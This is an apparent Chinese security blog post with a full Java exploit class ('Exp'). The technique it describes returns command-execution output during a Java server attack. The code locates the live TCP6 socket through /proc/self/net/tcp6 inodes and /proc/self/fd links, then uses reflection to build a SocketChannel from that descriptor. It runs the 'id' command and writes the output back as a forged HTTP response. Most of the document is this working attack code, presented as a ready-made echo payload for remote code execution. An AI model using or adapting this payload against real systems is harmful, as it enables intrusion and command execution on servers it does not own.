在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。
我们怎么获取到tcp6的连接
获取到/proc/self/net/tcp6的inode
然后查看/proc/self/fd下的所有文件的软链接
获取到inode匹配的最后一个的socket
获取到FileDescriptor的值,封装到SocketChannelImpl里面。
然后写入内容,当然你也可以关闭socket连接让后续不去写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package com.n1ght;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; import java.nio.channels.spi.SelectorProvider; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern;
public class Exp { public Exp() throws Exception { List<String> canWriteList = new ArrayList<>(); List<Integer> inodeList = new ArrayList<>(); byte[] bytes = Files.readAllBytes(Paths.get("/proc/self/net/tcp6")); String tcp6 = new String(bytes); for (String line : tcp6.split("\n")) { String[] parts = line.trim().split("\\s+"); if (parts.length >= 13) { String inode = parts[9]; inodeList.add(Integer.parseInt(inode)); } } File file = new File("/proc/self/fd"); File[] files = file.listFiles(); for (File f : files) { if (f.exists()) { try { Path path1 = Files.readSymbolicLink(f.toPath()); if (f.canWrite()) { Pattern pattern = Pattern.compile("socket:\\[(\\d+)]"); Matcher matcher = pattern.matcher(path1.toString()); if (matcher.find()) { Integer inode = Integer.parseInt(matcher.group(1)); for (Integer integer : inodeList) { if (Objects.equals(integer, inode)) { String path = f.getAbsolutePath(); canWriteList.add(path.substring(path.indexOf("/fd/")).replaceAll("/fd/", "")); } } } } } catch (Exception e) { } } } Constructor<FileDescriptor> c = null; try { c = FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); c.setAccessible(true); Integer i = new Integer(canWriteList.get(canWriteList.size() - 1)); FileDescriptor fileDescriptor = c.newInstance(i); Class<?> clazz = Class.forName("sun.nio.ch.SocketChannelImpl"); Constructor<?> cons = clazz.getDeclaredConstructor(SelectorProvider.class, FileDescriptor.class, boolean.class); cons.setAccessible(true);
SelectorProvider provider = SelectorProvider.provider(); SocketChannel sc = (SocketChannel) cons.newInstance(provider, fileDescriptor, false); Field connectedField = sc.getClass().getDeclaredField("state"); connectedField.setAccessible(true); connectedField.set(sc, 2); String ret = file.getCanonicalPath() + "/" + canWriteList.get(canWriteList.size() - 1) + ": " + new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
String header = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-length:"+ret.length()+"\r\n\r\n"+ret; ByteBuffer buffer = ByteBuffer.wrap(header.getBytes()); while (buffer.hasRemaining()) { sc.write(buffer); } } catch (Exception e) { throw new RuntimeException(e); }
}
}
|